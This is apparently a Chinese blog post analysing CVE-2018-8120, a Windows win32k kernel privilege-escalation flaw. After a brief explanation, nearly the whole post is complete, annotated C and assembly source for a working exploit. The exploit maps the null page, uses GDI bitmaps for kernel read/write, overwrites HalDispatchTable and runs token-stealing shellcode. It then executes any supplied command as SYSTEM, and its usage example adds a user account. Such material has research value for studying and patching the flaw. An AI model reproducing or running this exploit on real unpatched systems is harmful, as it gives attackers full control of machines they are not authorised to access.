CVE-2018-8120 分析

提权:
shellcode大部分是拷贝访问令牌 token
原理: 拷贝进程pid为 4(这里为 4)的token 到当前进程的EPROCESS 中的token实现提权
漏洞的再次利用漏洞
bitmap 漏洞可以实现任意地址的读写
https://bbs.pediy.com/thread-225209.htm
http://netsecurity.51cto.com/art/201703/534434.htm
CVE-2018-8120的漏洞关键点有俩个:
1.没有检查空指针。导致可以在 null 页放 shellcode
2.有一个地址拷贝操作。bitmap 漏洞刚好要一个地址拷贝操作。

#define PSAPI_VERSION 1
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <intrin.h>  
//#pragma comment(lib,"ntdll.lib")
#pragma comment(lib, "Psapi.lib")

#ifndef _WIN64
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);

struct tagIMEINFO32
{
    unsigned int dwPrivateDataSize;
    unsigned int fdwProperty;
    unsigned int fdwConversionCaps;
    unsigned int fdwSentenceCaps;
    unsigned int fdwUICaps;
    unsigned int fdwSCSCaps;
    unsigned int fdwSelectCaps;
};

typedef struct tagIMEINFOEX
{
    HKL__ *hkl;
    tagIMEINFO32 ImeInfo;
    wchar_t wszUIClass[16];
    unsigned int fdwInitConvMode;
    int fInitOpen;
    int fLoadFlag;
    unsigned int dwProdVersion;
    unsigned int dwImeWinVersion;
    wchar_t wszImeDescription[50];
    wchar_t wszImeFile[80];
    __int32 fSysWow64Only : 1;
    __int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;

struct _HEAD
{
    void *h;
    unsigned int cLockObj;
};

struct tagKBDFILE
{
    _HEAD head;
    tagKBDFILE *pkfNext;
    void *hBase;
    void *pKbdTbl;
    unsigned int Size;
    void *pKbdNlsTbl;
    wchar_t awchDllName[32];
};

typedef struct _tagKL
{
    _HEAD head;
    _tagKL *pklNext;
    _tagKL *pklPrev;
    unsigned int dwKL_Flags;
    HKL__ *hkl;
    tagKBDFILE *spkf;
    tagKBDFILE *spkfPrimary;
    unsigned int dwFontSigs;
    unsigned int iBaseCharset;
    unsigned __int16 CodePage;
    wchar_t wchDiacritic;
    tagIMEINFOEX *piiex;
    unsigned int uNumTbl;
    tagKBDFILE **pspkfExtra;
    unsigned int dwLastKbdType;
    unsigned int dwLastKbdSubType;
    unsigned int dwKLID;
}tagKL, *P_tagKL;
DWORD gSyscall = 0;

__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {

        mov esi, tmp;
        mov eax, gSyscall;
        mov edx, 0x7FFE0300;
        call dword ptr[edx];
        ret 4;
    }
}
#else
extern "C" void NtUserSetImeInfoEx(PVOID);
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG64           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect);
#endif 

typedef struct
{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);

typedef BOOL(WINAPI *LPFN_GLPI)(
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
    PDWORD);

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
    OUT PULONG Interval);

NtQueryIntervalProfile_t NtQueryIntervalProfile;

DWORD gTableOffset = 0;
HANDLE gManger, gWorker;

#ifdef _WIN64
ULONG64 gtable;
#else
DWORD gtable;
#endif

#ifdef _WIN64
ULONG64 getpeb()
{
#else
DWORD getpeb()
{
#endif
#ifdef _WIN64
    ULONG64 p = (ULONG64)__readgsqword(0x30);
    p = *(ULONG64*)(p + 0x60);
#else
    // fs18是指向当前段选择子的自身也就当前teb  面 fs0 是一条链 
    //读取fs中的偏移     fs [0] 与 fs [0x18](self) = teb 
    DWORD p = (DWORD)__readfsdword(0x18);
    //peb
    p = *(DWORD*)((char*)p + 0x30);
#endif
    return p;
}
#ifdef _WIN64
ULONG64 getgdi()
{
#else
//获取句柄表
DWORD getgdi()
{
#endif
#ifdef _WIN64
    return *(ULONG64*)(getpeb() + gTableOffset);
#else
    //表的偏移     gTableOffset = GdiSharedHandleTable  Gdi句柄表
    return *(DWORD*)(getpeb() + gTableOffset);
#endif

}
PVOID getpvscan0(HANDLE h)
{   
    //句柄表
    if (!gtable)
        gtable = getgdi();
#ifdef _WIN64
    ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL);  //64位直接就是地址
    GDICELL *c = (GDICELL*)p;
    return (char*)c->pKernelAddress + 0x50;
#else
    // LOWORD()得到一个32bit数的低16bit   句柄的最后两个字节是该结构在GdiSharedHandleTable数组中的索引(=>handle & 0xffff)
    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; //32位的地址   如:0xfffff901 43e97000
    //拿到GDICELL
    GDICELL *c = (GDICELL*)p;
    //GDICELL结构的 pKernelAddress 成员指向 BASEOBJECT 结构  
    //BASEOBJECT 结构  的后面有一个特定的结构体 它的类型取决于该对象的类型。对于bitmaps来说,这是个 surface object 结构体
    //要内存中是这样的
    // 32bit size: 0x10
    // 64bit size: 0x18
    /*struct _BASEOBJECT
    {
         IntPtr hHmgr;
         UInt32 ulShareCount;
         UInt16 cExclusiveLock;
         UInt16 BaseFlags;
         UIntPtr Tid;
    }*/
    // 32bit size: 0x34
    // 64bit size: 0x50
    // struct _SURFOBJ
    //{
    //   IntPtr dhsurf;
    //   IntPtr hsurf;
    //   IntPtr dhpdev;
    //   IntPtr hdev;
    //   IntPtr sizlBitmap;
    //   UIntPtr cjBits;
    //   IntPtr pvBits;
    //   IntPtr pvScan0; // offset => 32bit = 0x20 & 64bit = 0x38
    //   UInt32 lDelta;
    //   UInt32 iUniq;
    //   UInt32 iBitmapFormat;
    //   UInt16 iType;
    //   UInt16 fjBitmap;
    //}
    //struct {
    //  BASEOBJECT  baseobject;   //32位为0x10
    //  SUUOBJ  surobj;
    //  ......
    //}
    //拿到
    return (char*)c->pKernelAddress + 0x30;   //0x30 =sizeof(baseobject)0x10 +(pvscan0偏移)0x20 
#endif
}

#ifdef _WIN64
typedef unsigned __int64 QWORD, *PQWORD;
typedef  QWORD DT;
#else
typedef  DWORD DT;
#endif

extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
#ifdef _WIN64
extern "C" void shellcode08(void);
extern "C" void shellcode7(void);
#else

__declspec(noinline) int shellcode()
{
    __asm {
        pushad;// save registers state
        mov edx, g_kthread;   
        mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread   fs[0x120]= _KPRCB    再加4=_KTHREAD
        mov edx, g_EPROCESS;
        mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
        //32位下
        //_kthread 0x34为 KAPC_STATE结构为
        //typedef struct _KAPC_STATE {
        //  LIST_ENTRY ApcListHead[MaximumMode];       //线程的apc链表 只有两个 内核态和用户态
        //  struct _KPROCESS *Process;               //当前线程的进程体   PsGetCurrentProcess()   //0x38     g_EPROCESS = 0x38
        //  BOOLEAN KernelApcInProgress;              //内核APC正在执行
        //  BOOLEAN KernelApcPending;                 //内核APC正在等待执行
        //  BOOLEAN UserApcPending;                  //用户APC正在等待执行
        //} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
        //_kthread 0x34+4= _KPROCESS  _KPROCESS为_EPROCESS的第一个字段 也就是说等于_EPROCESS
        mov ecx, eax;// Copy current _EPROCESS structure     当前进程的 _EPROCESS   
        mov esi, g_EPROCESS_TokenOffset;   //Token
        mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
        mov edi, g_flink;
        mov ebx, g_PID;
    SearchSystemPID:
        mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
        sub eax, edi;
        cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId  判断是否等于0x4
        jne SearchSystemPID;

        mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
        mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process  //_EPROCESS.Token=SYSTEM_EPROCESS.Token
        popad;// restore registers state

        // recovery
        xor eax, eax;// Set NTSTATUS SUCCEESS

    }
}
#endif
DWORD GetCpuNumber()
{
    LPFN_GLPI glpi;
    BOOL done = FALSE;
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL;
    PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL;
    DWORD returnLength = 0;
    DWORD logicalProcessorCount = 0;
    DWORD numaNodeCount = 0;
    DWORD processorPackageCount = 0;
    DWORD byteOffset = 0;

    glpi = (LPFN_GLPI)GetProcAddress(
        GetModuleHandle(TEXT("kernel32")),
        "GetLogicalProcessorInformation");
    if (NULL == glpi)
    {
        puts("[-] GetLogicalProcessorInformation is not supported.");
        return (1);
    }

    while (!done)
    {
        DWORD rc = glpi(buffer, &returnLength);

        if (FALSE == rc)
        {
            if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
            {
                if (buffer)
                    free(buffer);

                buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc(
                    returnLength);

                if (NULL == buffer)
                {
                    puts("[-] Error: Allocation failure");
                    return (1);
                }
            }
            else
            {
                printf("[-] Error %d\n", GetLastError());
                return 1;
            }
        }
        else
        {
            done = TRUE;
        }
    }

    ptr = buffer;

    while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength)
    {
        switch (ptr->Relationship)
        {

        case RelationProcessorPackage:
            // Logical processors share a physical package.
            processorPackageCount++;

        default:
            break;
        }
        byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION);
        ptr++;
    }

    return processorPackageCount;
}
// detect extract kernel images.
char* DetectKernel(PDWORD offset)
{
    BOOL  pae = FALSE;
    *offset = 0;
    int tmp[4];
    RtlSecureZeroMemory(tmp, sizeof(tmp));
    __cpuid(tmp, 1);

    if (tmp[3]&0x40)
    {
        pae = TRUE;
    }

    if (GetCpuNumber()>1)
    {
#ifndef _WIN64
        if (pae)
        {
            *offset = 0x9000;
            return "ntkrpamp.exe";
        }
        else
#endif
        {
            return "ntkrnlmp.exe";
        }
    }
    else
    {
#ifndef _WIN64

        if (pae)
        {
            *offset = 0x9000;
            return "ntkrnlpa.exe";
        }
        else
#endif
        {
            return "ntoskrnl.exe";
        }
    }
}
//HalDispatchTable
PVOID leakHal()
{
    DT ntoskrnlBase;
    DT HalDTUser, HalDTOffset;
    HMODULE userKernel;
    char * FuncAddress = 0L;

    LPVOID drivers[1024];
    DWORD cbNeeded;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        if (drivers[0])
        {
            ntoskrnlBase = (DT)drivers[0];
        }
    }
    else
    {
        printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
    }
    //  ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
    DWORD offset = 0;
    bool failback = false;
    char *kernel = DetectKernel(&offset);
    printf("[+] Detected kernel %s\n", kernel);
    userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (userKernel == NULL)
    {
        printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel);
        userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
        failback = true;
        if (userKernel == NULL)
        {
            puts("[-] Could not load ntoskrnl.exe");
            return FALSE;
        }
    }
    //获取内核分发表
    HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
    //计算偏移
    HalDTOffset = HalDTUser - (DT)userKernel;

    if (failback)
    {
        return (PVOID)(ntoskrnlBase + HalDTOffset + offset);
    }
    else
    {
        return (PVOID)(ntoskrnlBase + HalDTOffset);
    }
}
//main
void main()
{
    //参数个数
    int argc = 0;
    //参数数组
    wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)");
    fflush(stdout);
    if (argc != 2)
    {
        puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
        fflush(stdout);
        ExitProcess(0);
    }
    //获取ntdll的句柄
    HMODULE hntdll = GetModuleHandle(L"ntdll");
    PVOID overwrite_address;
    int overwrite_offset;
    ULONG Interval = 0;
    PVOID sc=0;
    //操作系统版本信息
    //typedef OSVERSIONINFOW OSVERSIONINFO;
    //typedef struct _OSVERSIONINFOW {
    //    DWORD dwOSVersionInfoSize;    //指定该数据结构的字节大小
    //    DWORD dwMajorVersion;        //操作系统的主版本号   5代表2000以上版本
    //    DWORD dwMinorVersion;       //操作系统的副版本号    0代表win2000. 1代表winxp
    //    DWORD dwBuildNumber;       //操作系统的创建号
    //    DWORD dwPlatformId;         //操作系统ID号
    //    WCHAR szCSDVersion[ 128 ];     // Maintenance string for PSS usage    关于操作系统的一些附加信息
    //} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW;
    OSVERSIONINFOW osver;
    //避免优化编译器的意外的影响 初始化为0
    RtlSecureZeroMemory(&osver, sizeof(osver));
    osver.dwOSVersionInfoSize = sizeof(osver);
    //获取函数
    RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion");
    pRtlGetVersion(&osver);
    //操作系统的主版本号
    if (osver.dwMajorVersion == 5) {
#ifdef _WIN64
        g_EPROCESS_TokenOffset = 0x160;
        g_EPROCESS = 0x68;
        g_flink = 0xe0;
        g_PID = 0xd8;
        g_kthread = 0x188;
#else
        g_EPROCESS_TokenOffset = 0xd8;
        g_EPROCESS = 0x38;
        g_flink = 0x098;
        g_PID = 0x94;
        g_kthread = 0x124;
#endif
    }
    else if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
        gTableOffset = 0x0f8;
        if (osver.dwMinorVersion == 0)//win2008
        {
            overwrite_address = (char*)leakHal();  // HalDispatchTable
            overwrite_offset = 0x8;     // QueryIntervalProfile 
            sc = &shellcode08;
            g_EPROCESS_TokenOffset = 0x168;
            g_EPROCESS = 0x68;
            g_flink = 0xe0;
            g_PID = 0xe8;
            g_kthread = 0x188;
        }
        else
        {//win7
            overwrite_address = (char*)leakHal();  // HalDispatchTable
            overwrite_offset = 0x8;     // QueryIntervalProfile 
            sc = &shellcode7;
            g_EPROCESS_TokenOffset = 0x208;
            g_EPROCESS = 0x70;
            g_flink = 0x188;
            g_PID = 0x180;
            g_kthread = 0x188;
        }

#else

        gTableOffset = 0x094;
        if (osver.dwMinorVersion == 0)//win2008
        {  
            //计算要覆盖内核分发表中的地址
            overwrite_address = (char*)leakHal();  // HalDispatchTable
            overwrite_offset = 0x4;     // QueryIntervalProfile 
            gSyscall = 0x121b;
            g_EPROCESS_TokenOffset = 0xe0;
            g_EPROCESS = 0x48;
            g_flink = 0xa0;
            g_PID = 0x9c;
            g_kthread = 0x124;
        }
        else
        {//win7
            overwrite_address = (char*)leakHal();  // HalDispatchTable
            overwrite_offset = 0x4;     // QueryIntervalProfile 
            gSyscall = 0x1226;
            g_EPROCESS_TokenOffset = 0xf8;
            g_EPROCESS = 0x50;
            g_flink = 0xb8;
            g_PID = 0xb4;
            g_kthread = 0x124;
        }
#endif
    }
    else
    {
        printf("[-] Not supported version %d\n", osver.dwBuildNumber);
        ExitProcess(-1);
    }

    //获取申请内存有函数
    _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress((HMODULE)hntdll,"NtAllocateVirtualMemory");
    //地址
    PVOID addr = (PVOID)0x100;
    //一页
    DT size = 0x1000;

    if (!NtAllocateVirtualMemory) {
        printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
        fflush(stdout);
        ExitProcess(1);
    }
    //映射0页内存  MEM_RESERVE保留  MEM_COMMIT提交
    if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
    {
        puts("[-] Fail to alloc null page!");
        fflush(stdout);
        ExitProcess(2);
    }
    //创建窗口站对象与调用进程相关联并将它分配给当前会话
    HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);

    if (!hSta)
    {
        printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
        fflush(stdout);
        ExitProcess(3);
    }
    //改变进程关联的窗口站
    if (!SetProcessWindowStation(hSta))
    {
        printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
        fflush(stdout);
        ExitProcess(4);
    }
    unsigned int bbuf[0x60] = {0x90};
    //RtlSecureZeroMemory(bbuf, 0x60);
    //创建俩个位图
    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);

    PVOID mpv = getpvscan0(gManger);
    PVOID wpv = getpvscan0(gWorker);

#ifndef _WIN64
    printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
    P_tagKL pkl = 0;
    //用作参数比较
    pkl->hkl = (HKL__ *)wpv;  
    //把wpv拷贝到mpv  
    //设置漏洞拷贝的目的地址,NtUserSetImeInfoEx 函数会把它的参数( WINDOWSTATION->spklList[index]->tagKL
    //->piiex这个成员里
    pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));

    IMEINFOEX ime;
    RtlSecureZeroMemory(&ime, sizeof(IMEINFOEX));
#else
    printf("[+] Get manager at %llx,worker at %llx\n", mpv, wpv);
    char* pkl = 0;
    *(DT*)(pkl + 0x28) = (DT)wpv;
    *(DT*)(pkl + 0x50) = (DT)mpv - sizeof(PVOID);

    char ime[0x200];
    RtlSecureZeroMemory(&ime, 0x200);
#endif // _WIN32
    fflush(stdout);
    // Initialize exploit parameters
    //设置参数ime结构的第一个字段 等于  wpv
    PVOID *p = (PVOID *)&ime;
    p[0] = (PVOID)wpv;
    p[1] = (PVOID)wpv;
    DWORD *pp = (DWORD *)&p[2];
    pp[0] = 0x180;
    pp[1] = 0xabcd;
    pp[2] = 6;
    pp[3] = 0x10000;
#ifndef _WIN64
    pp[5] = 0x4800200;
#else
    pp[6] = 0x4800200;
#endif // _WIN32
    // trigger vuln
    // bp win32k!SetImeInfoEx
    // bp win32k!NtUserSetImeInfoEx
    // modify the pvscan0 of manager!

    puts("[+] Triggering vulnerability...");
    fflush(stdout);
    fflush(stderr);
    NtUserSetImeInfoEx((PVOID)&ime);
    //QueryIntervalProfile 
    PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
#ifndef _WIN64
    sc = &shellcode;
    printf("[+] Overwriting...%lx\n", oaddr);
#else
    printf("[+] Overwriting...%llx\n", oaddr);
#endif // _WIN32
    fflush(stdout);

    PVOID pOrg = 0;
    //使用漏洞将 Worke的 rpvScan0 偏移量地址写入 Manager 的 pvScan0 值  也就是 Manager 的 pvScan0 值现在指向  Worke的 rpvScan0
    //使用 Manager 上的SetBitmapBits 来选择地址  也就是设置 Worke的 rpvScan0的值为选择地址 
    //然后在 Worker 上使用GetBitmapBits/ SetBitmapBits来读取/写入上一步设置的地址  
    //先设置oaddr到pvscan0 也就是pvscan0指向oaddr  
    SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
    //获取旧的地址也就是原理函数地址
    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    //设置shellcode  到pvscan0指向的地址
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);

    //获取函数
    NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");

    if (!NtQueryIntervalProfile) {
        fflush(stdout);
        fflush(stderr);
        printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
        ExitProcess(2);
    }
    puts("[+] Elevating privilege...");
    //调用
    NtQueryIntervalProfile(0x1337, &Interval);
    puts("[+] Cleaning up...");
    //把原理的函数地址设置回去
    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
    SECURITY_ATTRIBUTES     sa;
    HANDLE                  hRead, hWrite;
    byte                    buf[40960] = { 0 };
    STARTUPINFOW            si;
    PROCESS_INFORMATION     pi;
    DWORD                   bytesRead;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        fflush(stdout);
        fflush(stderr);
        ExitProcess(5);
    }
    wprintf(L"[+] Trying to execute %s as SYSTEM...\n", argv[1]);
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = L"WinSta0\\Default";
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    wchar_t cmd[4096] = { 0 };
    lstrcpyW(cmd, argv[1]);
    //创建新的进程
    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
    {
        fflush(stdout);
        fflush(stderr);
        CloseHandle(hWrite);
        CloseHandle(hRead);
        wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
        ExitProcess(6);
    }
    CloseHandle(hWrite);
    printf("[+] Process created with pid %d!\n", pi.dwProcessId);
    while (1)
    {
        if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
            break;
        br += bytesRead;
    }
    //  HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
    //  WriteConsoleA(h, buf, br, &bytesRead, 0);
    puts((char*)buf);
    fflush(stdout);
    fflush(stderr);
    CloseHandle(hRead);
    CloseHandle(pi.hProcess);
}

poc下载:
https://github.com/alpha1ab/CVE-2018-8120
分析报告可以参考:
http://www.freebuf.com/column/174182.html
http://www.freebuf.com/column/173797.html
CVE-2018-8120 分析

猜你喜欢

转载自blog.51cto.com/haidragon/2155715
今日推荐